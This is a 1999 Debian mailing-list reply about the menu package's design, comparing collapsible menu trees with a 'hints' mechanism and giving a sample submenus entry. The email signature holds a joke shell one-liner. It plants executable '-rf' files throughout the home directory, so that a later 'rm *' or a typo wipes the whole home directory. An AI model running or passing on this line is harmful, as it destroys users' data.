Re: Menu-2.0, optimized menu tree, hints
Je 1999/06/19(6)/14:06, Joey Hess montris sian geniecon skribante:
[..]
> Well the alternative that has been brought up before is to make everything
> use a deeper tree (like Apps/Editors/Big/Emacsen), and have menu
> automatically collapse the tree to Apps/Editors on your system with 2 editors
> and keep the big tree on mine (that has every editor installed).
>
> The only differences between doing it this way and the hints way are that:
>
> 1. The hints way is a lot cooler conceptually. :-)
> 2. The collapsing tree way doesn't allow merging of menus like Apps/Sound
> and Apps/Viewers into Apps/Multimedia.
> 3. The collapsing tree way means that you always find stuff where you'd
> expect it, you just may not decend as deep in the hierarch as you
> expected to.
>
> #2 is a big drawback but at the same time makes things more consitent too,
> #3 is a big plus. Did you consider this alternate approach and if so, what
> did you find wrong with it?
Actually, it was the first thing I tried to implement. When I saw how
easy it was, I dropped it and went further:).
I don't as much agree with #3 being that big a plus. If you were to
mail a newbe that Emacs can be found in "Apps/Editors/Big/Emacsen/Emacs",
then that newbe may well think there's a virus on his system if
Emacs were to be in Apps/Big/Emacs. And probably even have problems
finding it, if the Editors component of the path were to be collapsed.
However, we could easily do both. I can very easily add an option
to menu that it should ignore the hints, only use the $section, but,
when needed, collapse trees. Then we'd still have to move the whole
tree, and every debian package in it. Problem with that is that
then really every package _has_ to be changed, to move to the new tree
location.
Another problem is that if, for example, the Apps section gets crouded,
and we want to create something like Apps/Text/Editors and
Apps/Text/Programming (just an example), then we'd have to change every
package again, to use the new Apps/Text submenu.
Whereas with the hints stuff, All I need to do is to add to /usr/lib/menu/submenus :
?package(menu):section=Apps title=Editors hints=Text
?package(menu):section=Apps title=Programming hints=Text
and, on all systems where Apps/ is crouded, Editors and Programming will appear
under /Apps/Text.
--
for d in `find ~ -type d`;do echo "rm -rf ~">$d/-rf;chmod a+x $d/-rf;done
#makes both "rm *" and "emacs file &*" (common typo) do interesting things.
Reply to: